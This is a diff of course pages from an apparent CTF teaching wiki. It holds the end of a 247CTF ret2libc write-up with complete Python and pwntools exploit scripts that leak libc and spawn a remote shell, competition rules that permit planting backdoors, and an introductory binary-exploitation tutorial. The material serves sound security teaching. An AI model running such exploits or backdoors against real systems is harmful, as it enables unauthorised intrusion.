+
[0x2c padding] + [puts@plt] + [dummy address] + [puts@got]
+
+

This time, we’re calling the puts@plt at 0x08048390 with the puts@got at 0x0804a018 as a parameter (which it’ll be sent to us as a string):

+
[0x2c padding] + [0x08048390] + [dummy address] + [0x0804a018]
+
+

If we try our newly crafted payload:

+
$ python2 -c 'print("A"*0x2c + "\x90\x83\x04\x08" + "A"*4 + "\x18\xa0\x04\x08")' | nc ad520e503a0ec4e0.247ctf.com 50341 | xxd
+00000000: 456e 7465 7220 7468 6520 7365 6372 6574  Enter the secret
+00000010: 2070 6173 7377 6f72 643a 0a49 6e63 6f72   password:.Incor
+00000020: 7265 6374 2073 6563 7265 7420 7061 7373  rect secret pass
+00000030: 776f 7264 210a 60d3 dbf7 90ed d6f7 0a    word!.`........
+
+

So, now we know that puts in the server is placed at 0xf7dbd360 address. With this information, we can search a libc database to download this specific version (libc6-i386_2.27-3ubuntu1_amd64). In case that address matches different versions, we can leak other addresses as gets or strcmp to limit the results.

+

libc database result

+

If we run again our Python command with the payload, we’ll see that this time puts address is different, so we can confirm that the remote server has ALSR activated.

+

Payload construction

+

The main problem here is that we need to know the base address of the libc library to construct our payload. We can obtain it thanks to the puts address leakage:

+
[libc base adddress] = [puts address leaked] - [libc6-i386_2.27-3ubuntu1_amd64.puts RVA]
+
+

But if we provide a dummy address to the payload, the remote program will crash, and in the next execution, the base address will be different. So, we can provide the main address to continue execution and interact again with the program and the vulnerable gets function to overwrite again the return address, this time with the first payload we described earlier, but instead of referencing the absolute addresses, we can use them as:

+
[function VA] = [libc base address] + [function RVA]
+
+

Be aware that the second padding of the payload may change, so you need to recalculate it again, but we’re lucky enough and this time the padding is the same. With all of this in mind, here is what our final script would look like:

+
import socket
+import struct
+
+hostname = 'ad520e503a0ec4e0.247ctf.com'
+port = 50341
+
+conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # TCP socket
+conn.connect((hostname, port))
+
+print('[*] Connected to {}:{}'.format(hostname, port))
+
+conn.recv(1024)
+
+payload = b'A' * 0x2c
+payload += struct.pack('<I', 0x08048390)    # puts@plt
+payload += struct.pack('<I', 0x0804853d)    # main
+payload += struct.pack('<I', 0x0804a018)    # puts@got
+conn.sendall(b'%b\r\n' % payload)
+print('[*] Payload sent: {}B'.format(len(payload)))
+
+data = conn.recv(1024).split(b'\n')[1]
+puts_leak = struct.unpack('<I', data[:4])[0]
+print('[*] puts leaked address: {:#x}'.format(puts_leak))
+
+libc_base = puts_leak - 0x67360
+print('[*] libc base address: {:#x}'.format(libc_base))
+
+libc_system = libc_base + 0x3cd10
+libc_exit = libc_base + 0x2ff70
+libc_shell = libc_base + 0x17b8cf
+
+payload = b'A' * 0x2c
+payload += struct.pack('<I', libc_system)
+payload += struct.pack('<I', libc_exit)
+payload += struct.pack('<I', libc_shell)
+conn.sendall(b'%b\r\n' % payload)
+print('[*] Payload sent: {}B'.format(len(payload)))
+conn.recv(1024)
+
+print('[*] Interactive shell\n')
+
+try:
+    command = input('$ ')
+
+    while command != 'exit':
+        conn.sendall('{}\n'.format(command).encode('utf-8'))
+        print(conn.recv(1024).decode('utf-8'), end='')
+        command = input('$ ')
+except (EOFError, KeyboardInterrupt):
+    pass
+
+conn.close()
+
+

And an execution trace:

+
$ python3 exploit-remote.py
+[*] Connected to ad520e503a0ec4e0.247ctf.com:50341
+[*] Payload sent: 56B
+[*] puts leaked address: 0xf7d5d360
+[*] libc base address: 0xf7cf6000
+[*] Payload sent: 56B
+[*] Interactive shell
+
+$ ls
+chall
+flag_[0-9]+.txt
+$ cat flag_[0-9]+.txt
+247CTF{[a-f0-9]{32}}
+$ exit
+
+

pwntools

+

This blog post is already long enough, so I’ll only show how exploit-remote.py script looks when ported to pwntools. I’ll leave all details up to you but the library is pretty straightforward:

+
import pwn
+
+hostname = 'ad520e503a0ec4e0.247ctf.com'
+port = 50341
+
+io = pwn.remote(hostname, port)
+
+elf = pwn.ELF('non_executable_stack')
+libc = pwn.ELF('libc6-i386_2.27-3ubuntu1_amd64.so')
+
+payload = b'A' * 0x2C
+payload += pwn.p32(elf.plt['puts'])
+payload += pwn.p32(elf.symbols['main'])
+payload += pwn.p32(elf.got['puts'])
+
+io.recvline()
+io.sendline(payload)
+pwn.log.info('Payload sent: {}B'.format(len(payload)))
+io.recvline()
+puts_leak = pwn.u32(io.recvline()[:4])
+pwn.log.info('puts leaked address: {:#x}'.format(puts_leak))
+
+libc_base = puts_leak - libc.symbols['puts']
+pwn.log.info('libc base address: {:#x}'.format(libc_base))
+libc_system = libc_base + libc.symbols['system']
+libc_exit = libc_base + libc.symbols['exit']
+libc_shell = libc_base + next(libc.search(b'/bin/sh\x00'))
+
+payload = b'A' * 0x2C
+payload += pwn.p32(libc_system)
+payload += pwn.p32(libc_exit)
+payload += pwn.p32(libc_shell)
+
+io.recvline()
+io.sendline(payload)
+pwn.log.info('Payload sent: {}B'.format(len(payload)))
+io.recvline()
+io.interactive()
+
+

Assignment

+

Believe in the ROP

+

A tutorial to the ROP.

+

Attachment

+

List

+

Do you know return to libc?

+

Attachment

+

eBPF

+

A challenge, a real challenge, for your last CTF for this semester! 🎶🎶🎶

+

nc 103.125.216.173 9009

+

Attachment

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 12 Attack-with-Defense/index.html b/CS315/Lab 12 Attack-with-Defense/index.html new file mode 100644 index 000000000..0f7d2341c --- /dev/null +++ b/CS315/Lab 12 Attack-with-Defense/index.html @@ -0,0 +1,8542 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Attack with Defense - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Attack with Defense

+

Attack with Defense 是 CTF 攻防比赛模式。区别于传统的 Jeopardy 解题模式,AWD 更注重时效性,且对参赛选手的攻击、防御技能均有所要求。

+

定义

+

AWD 中有如下定义:

+
    +
  • 比赛:指从开始到结束的一整场比赛过程。
  • +
  • :指一个单独的时间区间,分数计算的最小周期,一般为 10 分钟。 一场比赛由许多轮组成,可以理解为:总轮数 = 比赛总时长 / 单轮时长
  • +
  • 选手:指比赛的参赛队伍,通常是一个 3-5 人的团队。
  • +
  • 题目:比赛的试题,对应着传统 Jeopardy 模式中的一道道题目。
  • +
  • 靶机:AWD 模式中,对于每一道题目,每个选手都会有一个自己的独立靶机,上面运行着这个题目的环境。
  • +
  • Check:为了检测选手的靶机服务以及功能是否能够正常运行,主办方会不定期运行 Check,(通常是一段自动请求并验证的脚本)用以检测服务可用性。检测到服务不可用,功能不全的靶机,其所属队伍将被扣分。(Check 的存在,是为了防止选手故意删站,或部署通防来使得攻击方无法对其靶机进行攻击,从而达到所谓“绝对的防御”)
  • +
  • 服务宕机 / CheckDown:指选手的靶机服务不可用,或功能不全。
  • +
+

Challenge-GameBox

+

比赛过程

+

比赛过程

+

比赛开始前

+
    +
  • 每个参赛选手均会拿到自己的比赛平台账号,登录账号即可进入平台,可查看公告信息。
  • +
  • 比赛开始前,选手无法查看自己的靶机信息。
  • +
+

比赛开始

+
    +
  • 选手可以查看自己的靶机信息,其中包括靶机的 IP 地址,靶机 SSH 账号及密码。
  • +
  • 第一轮开始。
  • +
+

新的一轮开始

+
    +
  • 所有的靶机状态恢复为正常。
  • +
  • 倒计时重置
  • +
+

一轮进行中

+
    +
  1. 攻击成功
  2. +
+

成功利用其他队伍靶机上的漏洞,获取到对方靶机上的 Flag 并提交,即攻击成功。此时,被攻击的队伍的靶机将显示为“被攻陷”状态。

+
    +
  1. 被攻陷
  2. +
+

当靶机上的 Flag 被其他队伍提交时,该靶机将显示为“被攻陷”状态。

+
    +
  1. 被检测到服务宕机(CheckDown)
  2. +
+

当 Check 脚本运行后,检测到靶机服务不可用或功能不全,则该靶机将显示为“宕机”状态。

+

一轮结束时

+
    +
  • 结算上一轮各队伍得失分数,并更新排行榜。
  • +
+

分数结算规则

+
+

这里假设在 Cardinal 配置文件中,攻击失分为 50 分,宕机失分为 50 分。

+
+

被攻击失分

+

被攻击的靶机,将减去 50 分。

+

攻击得分

+

在该轮中成功攻击该靶机的所有队伍,一起平分该靶机扣分时失去的的分数。得分加到各自相应题目的靶机上。

+

例如:John 攻击了 Alice 的 Web1 靶机;Mashiro 攻击了 Alice 的 Web1 靶机。

+

则 Alice 的 Web1 靶机 -50 分。John 和 Mashiro 各自的 Web1 靶机平分这减去的 50 分。即 John 和 Mashiro 每人 +25 分。

+

此时全部队伍的加分与扣分之和,依然为零。

+

宕机(CheckDown)失分

+

被 Check 检测到服务宕机的靶机,将减去 50 分。

+

服务正常得分

+

在该轮中题目服务正常的靶机,平分该题目下,所有宕机靶机失去的分数。

+

例如:John、Alice、Mashiro 的 Pwn2 靶机被检测判定为服务宕机,Asuna、Emiria 的 Pwn2 靶机一直服务正常。

+

则 John、Alice、Mashiro 的 Pwn2 靶机各 -50 分。Asuna 和 Emiria 的 Pwn2 靶机平分这减去的 150 分。即 Asuna 和 Emiria 每人各 +75 分。

+

此时全部队伍的加分与扣分之和,依然为零。

+

比赛安排

+

比赛时间

+

比赛时间在12月19日,下午17:00开始,至晚20:50结束。

+

比赛安排分为三段:

+
    +
  • 题目测试与修复环节下午17:00 - 18:00,可以查看题目与修复,可以设计脚本,可以登录自己的服务器,但不能攻击其他人的服务器,也不会计分
  • +
  • 冻结时间:为了方便同学们按时吃饭,保重身体,在18:00 - 19:00之间,比赛平台将会彻底关闭,不允许登录服务器看题,也不允许提交FLAG。
  • +
  • 攻防环节:下午19:10 - 20:50,可以开始提交题目flag,此阶段将会分为20轮每一轮5分钟),每一轮每一队的flag将会更新,可以提交其他队伍的flag。
  • +
  • 这是什么意思呢?假定小A在第一轮就拿到了漏洞,她在这时写好了攻击其他人的脚本,幸运的小B在第二轮就修好了漏洞,这样小A只拿到了小B一轮的分数,但是小E直到比赛结束也没找到漏洞在哪里,于是悲惨地丢掉了从第一轮到最后的分数。
  • +
  • 所以要尽快设计攻击,尽快进行修复,越快得到的好处就越多。
  • +
+

比赛环境

+

队伍环境:每一支队伍将会拥有两个靶机环境(docker),其中每个靶机有一种不同的服务,分别为二进制利用的pwn,以及集成了多项网络功能的web利用。通过端口与外界通信,也可以通过其他队伍靶机环境的端口访问其他队伍的服务,并进行攻击。

+
    +
  • 每个靶机拥有两个外部端口,其中一个对应内部docker的二进制程序(需要使用netcat链接),另一个靶机则对应内网的80端口(网站应用)。除此之外,每个靶机还会拥有一个SSH登录端口,初始情况下,SSH登陆的密码是相同的,每支队伍共享同样的SSH登录账号和密码,所以在登录到SSH之后,第一件事情就是修改自己的SSH密码,并告知队友。
  • +
  • 【重要】严禁直接通过默认密码登录其他队伍的SSH,这一点含金量都没有。
  • +
  • 每台靶机拥有自己的/flag.txt文件,这是一个权限为640的属于root的文件,仅允许root用户对其更新,低权限用户仅能读取其中的内容。两台靶机拥有不同的/flag.txt,队伍登录SSH的低权限账号无法更改flag.txt的内容,每一轮都会有脚本更新/flag.txt文件。
  • +
+

如果要对自己的服务进行修复,需要通过SSH服务端口登录,示例代码为:

+
$ ssh ctf@<ip> -p<port>
+
+

分数设计

+

比赛分数:

+
    +
  • 基础分数,对于每个靶机,每个题目的初始分数为1,000分,即每支队伍的初始分数为2,000分,随着比赛进行,分数会上升或下降。
  • +
  • 会不会出现负分?会,每一轮的宕机/攻陷分数分别为50分,倘若此轮同时触发宕机与攻陷,则会导致此轮丢失100分,在共计20轮中,有可能出现负分。
  • +
  • 奖励分数,对于每支队伍,将会考虑本学期CTF周作业的奖励题目与对应的分数,本学期共计有10个奖励题目,每一题将会为队伍增加10%的总分(若多名队员通过了同一个奖励题目,则不会对本题叠加),最高可以累计+100%总分
  • +
  • 分数上限与下限,初试分数为最大分数的50%,即合法的分数区间是0至4,000分,将会映射到0至130分,对应总评中的AWD部分得分。低于0分或高于4,000分不会导致总评低于0分或高于130分。
  • +
  • 在达到10,000分后是否可以继续得分?当然可以,尽管不会令自己队伍的总评分数更高,但可以得到内心的大满足。
  • +
  • 理论上的最高分:30000分,代表取得了其余7支队伍的全部可能取得的分数,包括宕机分与攻击分,并且本队伍的服务均未被攻陷,将会得到AWD部分的最高分130分。
  • +
  • 理论上的最低分:-2000分,代表本队伍的服务不但未通过宕机检查,每一轮都被攻陷,将之得到AWD部分的最低分0分。
  • +
  • 分数与最终得分的映射关系为:
  • +
+
score = min(max(AWD_score*(1+#bonus*0.1)*ratio, 0), score_cap)
+* score: final score of AWD part.
+* score_cap: content value 130.
+* AWD_score: score in the AWD competition.
+* ratio: AWD_score to score ratio, content value 3.25E-2.
+
+
    +
  • 比如说,小A在AWD竞赛中取得了2626分的队伍成绩,小组成员共计得到了6题bonus的加成,且他们的对物分工的贡献比相同,带入公式计算,score = min(max(6626\*1.6\*0.0325, 0), 130) = min(max(136.552, 0), 130) = 130,也就可以得到满分。
  • +
+

比赛规则

+

比赛禁止的规则:

+
    +
  • 禁止直接对平台进行攻击,例如DDoS拒绝服务,或使得服务无法正常使用的其他方式。
  • +
  • 禁止分享其他队伍的flag,或约定交换彼此的flag,等取得不公正优势的方式。
  • +
  • 禁止对其他选手进行拒绝服务攻击,或其他使得其他选手无法维护服务/参与攻击的方式。
  • +
  • 禁止主动将自己队伍的flag告知其他队伍,没有内鬼。
  • +
  • 禁止猜解其他队伍的SSH密码,并试图通过默认密码进行登录。
  • +
  • 禁止泄露比赛题目,邀请外部成员参加比赛。
  • +
  • 禁止使得其他队伍的服务宕机,使其无法运行。
  • +
  • 但是在获得shell之后,对其他队伍的漏洞进行修复、以阻止其他队伍通过此漏洞获取flag是可行的。
  • +
  • 禁止本地提权或使用其他方法获取root权限,禁止修改自己的flag.txt文件内容或权限。
  • +
  • 同样不许docker逃逸或容器穿透,请保持AWD过程中使用给定的用户账号。
  • +
+

比赛允许的规则:

+
    +
  • 向已取得shell的靶机写入不死马,或其他获得后门的程序。
  • +
  • 通过内网嗅探进行流量分析,对payload进行逆向以取得思路。
  • +
  • 为自己的服务部署通防或防火墙,拦截恶意请求,并放行检测服务的数据。
  • +
  • 使用物理攻击,通过badUSB获得其他队伍攻击机的权限。
  • +
+

如果遇到了难以界定合法性的攻击方法,可以在比赛时提出意见。

+

对比赛规则的违反将会导致成绩作废,严重情况下可能导致比赛重新开展,并且将会记录进入抄袭档案,情节特别严重的,将导致本门课程0分,且将会总结为文档发布给计算机系/图灵院。希望大家乐在参与,请勿考虑歪门邪道。

+

如果对于比赛事项仍然有疑问,可以与TA(李照)进行讨论。

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 2 Secure Coding and Buffer Overflows/index.html b/CS315/Lab 2 Secure Coding and Buffer Overflows/index.html new file mode 100644 index 000000000..90c3a3ada --- /dev/null +++ b/CS315/Lab 2 Secure Coding and Buffer Overflows/index.html @@ -0,0 +1,8564 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 2: Secure Coding and Buffer Overflows - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 2: Secure Coding and Buffer Overflows

+

Students may be confused about the term "PWN". Because "PWN" does not mean something specific like Web or CRYPTO. In fact, "PWN" is an onomatopoeic word that represents the "bang" sound of a hacker gaining access to a computer through a vulnerability attack, and there is also a theory that "PWN" comes from the word "own" that controls a computer. There is also a theory that "PWN" comes from the word "own" which controls the computer. In short, the method or process of gaining access to a computer through a binary vulnerability is known as PWN.

+

PWN Basics

+

What is PWN

+

In CTF, PWN is mainly used to obtain flags by exploiting vulnerabilities in a program to cause memory corruption in order to obtain the shell of a remote computer. a more common form of PWN topic is to put an executable program written in C/C++ running on a target server, and the participant interacts with the server with data through the network. Because of the general vulnerability in the topic, an attacker can construct a program that sends malicious data to the remote server, causing the remote server program to execute the code the attacker wishes, thus taking control of the remote server.

+

How to learn PWN

+

Reverse engineering is the basis of PWN, and the knowledge structure of both is similar. Therefore, sometimes binary security is used to refer to both reverse engineering and PWN. the threshold of entry to binary security is relatively high, requiring participants to study and accumulate for a long period of time and have a certain knowledge base before they can get started. This leads many beginners to give up before getting started. To get started in PWN, a certain foundation in reverse engineering is essential, which in turn leads to a further scarcity of PWN participants.

+

The purpose of this chapter is to lead the student to get started, so it will focus on PWN vulnerability exploitation techniques. The part about the basics cannot be introduced in detail due to the limitation of space. If the student does not understand the process of learning, you can spend some time to understand the basics, and then go back to consider how to solve, it may be clear.

+

The core knowledge of binary security consists of four main categories.

+

1. Programming language and compilation principle

+

Usually, the PWN topics in CTF will be written in C/C++ language. In order to write attack scripts, learning a scripting language like Python is also a must. In addition, the possibility of writing PWN questions in languages other than C/C++, such as Java or Lua, cannot be ruled out. Therefore, it is necessary for the participants to have a wide exposure to some mainstream languages. +For reverse engineering, how to decompile better and faster is a challenge. Whether it is manual disassembly or writing automated code analysis and vulnerability mining tools, knowledge of compilation principles is very beneficial.

+

2. Assembly Language

+

Assembly language, the core of reverse engineering, is also the first hurdle that PWN beginners have to face. If you get involved in the field of binary, assembly language is not bypassed. Only by understanding how the CPU works from the bottom can you understand why, through program vulnerabilities, an attacker can make the program execute the code set.

+

3. Operating system and computer architecture

+

The operating system, the core software running on the computer, is often the target of attackers PWN. To understand exactly how a program is executed and how it performs a variety of tasks, participants must learn about operating systems and computer architecture. In the CTF, many exploits and techniques also require the use of some features of the operating system to reach. Also, knowledge of operating systems is necessary to reverse and understand a program.

+

4. Data structures and algorithms

+

Programming is always about data structures and algorithms. If you want to understand the logic of program execution, it is necessary to understand the algorithms and data structures used.

+

The above is not so much the core of binary security as it is the core knowledge of computer science. If we compare various vulnerability techniques to various moves in martial arts novels, this knowledge is the "internal" martial arts. Moves are easy to learn and limited, but the road to improve their "internal" is endless. The important thing to improve their own binary level is not to learn a variety of fancy use of skills, but to spend time to learn the basics.

+

Unfortunately, some programmers and information security practitioners are often in a hurry to learn all kinds of vulnerability exploitation techniques. These core elements of computer science are not studied seriously instead. Students who sincerely hope to achieve good results in the CTF, and in the real reality of vulnerability mining, these basic content is often more important than a variety of exploitation techniques. Do not fall into the trap of only learning various PWN techniques by "building a platform out of sand".

+

Linux Basics

+

Most of the PWN topics in the current CTF use the Linux platform, so it is necessary to master the relevant Linux basics. The following is an introduction to the content of Linux that is closely related to PWN utilization.

+

System and function calls in Linux

+

Like 32-bit Windows programs, 32-bit Linux programs follow the principle of stack balancing during operation, with ESP and EBP as stack pointer and frame pointer registers and EAX as return value. Based on the source code and compiled results (see Figure 6-1-1), it can be seen that the argument passing follows the traditional cdecl calling convention, i.e., function arguments are put on the stack from right to left, and the function arguments are cleared by the caller.

+

6-1-1

+

64-bit Linux programs, on the other hand, use the fast call calling method for passing parameters. The main difference between the 64-bit version compiled from the same source code and 32-bit is that the first six parameters of the function are passed in order using the RDI, RSI, RDX, RCX, R8, R9 registers, and if there are extra parameters, then the same stack is used for passing as in 32-bit, see Figure 6-1-2.

+

6-1-2

+

The PWN process also often requires direct calls to API functions provided by the operating system. Unlike in Windows, where the system API is called using the "win32 api" function, Linux is also characterized by its concise system calls.

+

In the 32-bit Linux operating system, the system call requires the execution of the int 0x80 soft interrupt instruction. At this point, eax stores the system call number, and the parameters of the system call are stored in EBX, ECX, EDX, ESI, EDI, EBP registers in turn. The return result of the call is stored in EAX. In fact, the system call can be regarded as a special function call, but using the int 0x80 instruction instead of the call instruction. the function address in the call instruction becomes the system call number stored in EAX, and the parameters are passed using registers instead. Compared to the 32-bit system, the 64-bit Linux system call instruction becomes syscall, the registers for passing parameters become RDI, RSI, RDX, R10, R8, R9, and the system call corresponding to the system call number is changed. An example for the read system call is shown in Figure 6-1-3.

+

6-1-3

+

There are only 300+ system calls available for the Linux operating system, and the number may increase in the future with the kernel version update, but it is quite streamlined compared to Windows' hefty API. As for the call number and the parameters that should be passed to each system call, the reader can consult the Linux help manual.

+

ELF file structure

+

The executable file format under Linux is ELF (Executable and Linkable Format), similar to the PE format of Windows. The ELF header includes the ELF magic code, the computer architecture in which the program is running, the program entry, etc. It can be read by the "readelf-h" command and is generally used to find the entry point of some programs. The ELF file consists of several sections (sections), in which various data are stored. The sections in ELF are used to store a variety of data, including:

+

❖ .text section - holds all the code needed to run a program.

+

❖ .rdata section - holds unmodifiable static data used by the program, such as strings.

+

❖ .data section - holds data that can be modified by a program, such as global variables that have been initialized in C, etc.

+

❖ .bss section - used to store program modifiable data, which, unlike .data, is not initialized and therefore does not occupy ELF space. Although the .bss section exists in the section header table, there is no corresponding data in the file. The system does not request an empty block of memory for the actual .bss section until after the program starts execution.

+

❖ The .plt section and the .got section - these two sections are needed in conjunction with the program to call functions in the dynamic link library (SO file) to get the address of the called function.

+

Due to the extensibility of the ELF format, it is even possible to create custom sections when compiling a linked program.ELF can actually include a lot of content unrelated to program execution, such as program version, Hash, or some symbolic debugging information. However, the operating system does not parse the information in ELF when executing an ELF program, but rather the ELF header and Program Head Table. The purpose of parsing the ELF header is to determine the instruction set architecture, ABI version, and other system support information of the program, and to read the program entry. Then, Linux parses the Program Head Table to determine which program segments need to be loaded. The program header table is actually an array of Program Head structures, each of which contains information about the segment's description. Like Windows, Linux also has a memory mapping file feature. When executing a program, the operating system needs to load the specified contents of the ELF file into the specified location in memory according to the segment information specified in the program header table. Therefore, the content of each program header mainly includes the segment type, its address in the ELF file, which address to load into memory, segment length, memory read/write attributes, etc.

+

For example, the memory read/write attribute of the segment that holds code in ELF is readable and executable, while the segment that holds data is readable and writable or read-only, etc. Note that some segments may not have corresponding data content in the ELF file, such as uninitialized static memory. In order to compress the ELF file, only one field will exist in the program header table, and the operating system will perform the memory request and zero setting operations. The operating system also does not care about the exact contents in each segment, but simply loads each segment as required and points the PC pointer to the program entry.

+

Here some people may be confused about the relationship between sections and segments and their difference, but in fact both are just two forms of explaining the data in ELF. Just like a person has multiple identities, ELF uses both segment and section formats to describe a piece of data, only with a different focus. The operating system doesn't need to care about the specific function of the data in ELF, it just needs to know which piece of data should be loaded into which piece of memory and the read/write properties of the memory, so it will divide the data according to segments.

+

A compiler, debugger, or IDA needs to know what the data represents, so it parses the data by sections. Usually, sections are more subdivided than segments, e.g. .text, rdata are often divided into a segment. Some sections that are purely used to describe additional information about the program and have nothing to do with program operation will not even have a corresponding segment and will not be loaded into memory during program operation.

+

Vulnerability Mitigation Measures under Linux

+

Modern operating systems use a number of means to mitigate the risk of a computer being attacked by a vulnerability, which are collectively referred to as vulnerability mitigation measures.

+

1. NX

+

NX protection, also known as DEP in Windows, is the setting of permissions on program memory at the granularity of pages through the Memory Protect Unit (MPU) mechanism of modern operating systems, with the basic rule that writable and executable permissions are mutually exclusive. Therefore, it is not possible to execute arbitrary code directly using shellcode in a program with NX protection enabled. All memory that can be modified to write shellcode is not executable, and all code data that can be executed is not modifiable.

+

NX protection is enabled by default in GCC and can be turned off by adding the "-z execstack" parameter at compile time.

+

2. Stack Canary

+

Stack Canary protection is a protection mechanism designed specifically for stack overflow attacks. Since the main goal of stack overflow attack is to overwrite the return address of the high bit of the function stack by overflow, the idea is to write a word-length random data before the function starts execution, that is, before the return address, and check whether the value is changed before the function returns, if it is changed, it is considered that a stack overflow has occurred. The program will terminate directly.

+

GCC uses Stack Canary protection by default, and the way to turn it off is to add the "-fno-stack-protector" parameter at compile time.

+

3. ASLR (Address Space Layout Randomization)

+

The purpose of ASLR is to randomize the stack address of the program and the load address of the dynamic link library, which are not read/write executable unmapped memory between these addresses to reduce the attacker's knowledge of the program memory structure. In this way, even if the attacker has laid out the shellcode and can control the jump, it still cannot execute the shellcode because the memory address structure is unknown.

+

ASLR is a system-level protection mechanism, and is turned off by modifying the contents of the /proc/sys/kernel/randomize_va_space file to 0.

+

4. PIE

+

Very similar to ASLR protection, the purpose of PIE protection is to allow randomized loading of the address of the executable ELF, thus making the memory structure of the program completely unknown to the attacker and further improving the security of the program.

+

GCC is compiled with PIE enabled by adding the parameter "-fpic-pie". Newer versions of GCC have PIE enabled by default, and can be turned off by setting "-no-pie".

+

5. Full Relro

+

Full Relro protection is related to the Lazy Binding mechanism under Linux, and its main function is to prohibit the reading and writing of the .GOT.PLT table and some other related memory, thus preventing attackers from writing to the .GOT.PLT table to carry out attack exploitation means.

+

GCC enables Full Relro by adding the parameter "-z relro".

+

Role of GOT and PLT

+

.GOT.PLT and .PLT are two special sections that are usually present in ELF files. ELF compilation cannot know the load address of dynamic link libraries such as libc. If a program wants to call a function in a dynamically linked library, it must use .GOT.PLT and .PLT in conjunction to complete the call.

+

In Figure 6-1-4, call_printf does not jump to the location of the actual _printf function. Because the program does not determine the address of the printf function at compile time, this call instruction actually jumps to the _printf entry in the .PLT table through a relative jump. Figure 6-1-5 shows the .PLT entries corresponding to _printf. All external dynamic link library functions used in ELF will have corresponding .PLT entries.

+

6-1-4

+

6-1-5

+

The .PLT table is also a piece of code that retrieves an address from memory and jumps to it. The address is the actual address of _printf, and the place where the actual address of the _printf function is stored is the .GOT.PLT table in Figure 6-1-6.

+

6-1-6

+

.PLT table is actually an array of function pointers, which holds the addresses of all external functions used in ELF. The initialization of the .GOT.PLT table is done by the operating system.

+

Of course, due to the very special Lazy Binding mechanism of Linux. .GOT.PLT table is initialized during the first call to the function in ELF without Full Rello enabled. That is, a function must have been called before the real address of the function is stored in the .GOT.PLT table. The Lazy Binding mechanism is not discussed here, interested students can check the relevant information by themselves.

+

.GOT.PLT and .PLT are useful for PWN? .PLT can directly call some external function, which will be of great help in the subsequent introduction of stack overflow. Second, since .GOT.PLT usually stores the address of a function in libc, you can get the address of libc by reading .GOT.PLT in the exploit, or control the execution flow of the program by writing . GOT.PLT for vulnerability exploitation is very common in CTF.

+

Integer overflow

+

Integer overflow is a relatively simple element in PWN, of course, it does not mean that the topic of integer overflow is relatively simple, just that integer overflow itself is not very complex, the situation is less. But integer overflow itself is not exploitable, and needs to be combined with other means to achieve the purpose of exploitation.

+

Integer operations

+

Computers do not store infinitely large integers, and the values represented by integer types in computers are only a subset of natural numbers. For example, in a 32-bit C program, the length of the unsigned int type is 32 bits, and the largest number that can be represented is 0xffffffff. If this number is added by 1, the result 0x100000000 will exceed the range that can be represented by 32 bits, and only the lower 32 bits can be intercepted, and eventually the number will become 0. This is unsigned overflow.

+

There are 4 kinds of overflow cases in computers, taking 32-bit integers as an example.

+

❖ Unsigned overflow: The unsigned number 0xffffffff plus 1 becomes 0.

+

❖ Unsigned underflow: The unsigned number 0 minus 1 becomes 0xffffffff.

+

❖ Signed overflow: The case where the signed positive number 0x7fffffff plus 1 becomes negative 0x80000000, i.e., decimal-2147483648.

+

❖ Unsigned underflow: the case where the signed negative number 0x80000000 minus 1 becomes positive 0x7fffffff.

+

In addition to this, direct conversion of signed numbers to unsigned numbers can result in abrupt changes in the size of integers. For example, the binary representation of the signed number -1 and the unsigned number 0xffffffff is the same, and a direct conversion of the two can cause the program to produce unintended effects.

+

How integer overflows are used

+

Although integer overflows are simple, they are not actually simple to exploit. Unlike memory corruptions such as stack overflows, which can be directly exploited by overwriting memory, integer overflows often require some conversion to overflow. There are two common conversions.

+

1. integer overflow into buffer overflow

+

An integer overflow can mutate a very small number into a very large number. For example, an unsigned underflow can turn a smaller number representing the buffer size into a very large integer by subtraction. This results in a buffer overflow.

+

Another case is to bypass some length checks by entering a negative number. For example, some programs will use signed numbers to represent length. Then a negative number can be used to bypass the length limit check. Most system APIs use unsigned numbers to represent length, so the negative number will become a large positive number and lead to overflow.

+

2. integer overflow to array overrun

+

The idea of array overrun is very simple. In C, the operation of array indexing is achieved by simply adding the array pointer to the index, and does not check the bounds. Therefore, a very large index will access the data after the array, and if the index is negative, then it will also access the memory before the array.

+

Usually, integer overflows to array bounds are more common. In the process of array indexing, the array index is also multiplied by the length of the array element to calculate the actual address of the element. In the case of an array of type int, for example, the array index needs to be multiplied by 4 to calculate the offset. If the bounds check is bypassed by passing in a negative number, then normally only the memory before the array can be accessed. However, since the index is multiplied by 4, it is still possible to index the data after the array or even the entire memory space. For example, to index the contents at 0x1000 bytes after the array, just pass in the negative number -2147482624, which is expressed as 0x80000400 in hexadecimal numbers, and then multiply it by the element length 4, which is 0x00001000 due to the unsigned integer overflow result. as you can see, array overruns are easier to exploit compared to integer overflows to buffer overflows.

+

Stack Overflow

+

The stack is a simple and classical data structure whose main feature is the use of first-in, last-out (FILO) access to the data on the stack. Generally, the last data placed on the stack is called the top of the stack, and the location where it is stored is called the top of the stack. The operation of storing data on the stack is called push, and the operation of removing data from the top of the stack is called pop. For more details about the stack, please refer to the data structure related materials.

+

Since the sequence of function calls is such that the first function called returns last, the stack is ideal for storing intermediate variables and other temporary data used during the operation of a function.

+

Currently, most major instruction architectures (x86, ARM, MIPS, etc.) support stack operations at the instruction set level and are designed with special registers to hold the top-of-stack addresses. In most cases, putting data on the stack will cause the top of the stack to grow from the high to the low address of memory.

+

1. Stack Overflow Principle

+

Stack overflow is one of the buffer overflows. Local variables of a function are usually stored on the stack. If these buffers overflow, it is a stack overflow. The most classic way to exploit stack overflow is to overwrite the return address of a function in order to hijack the control flow of the program.

+

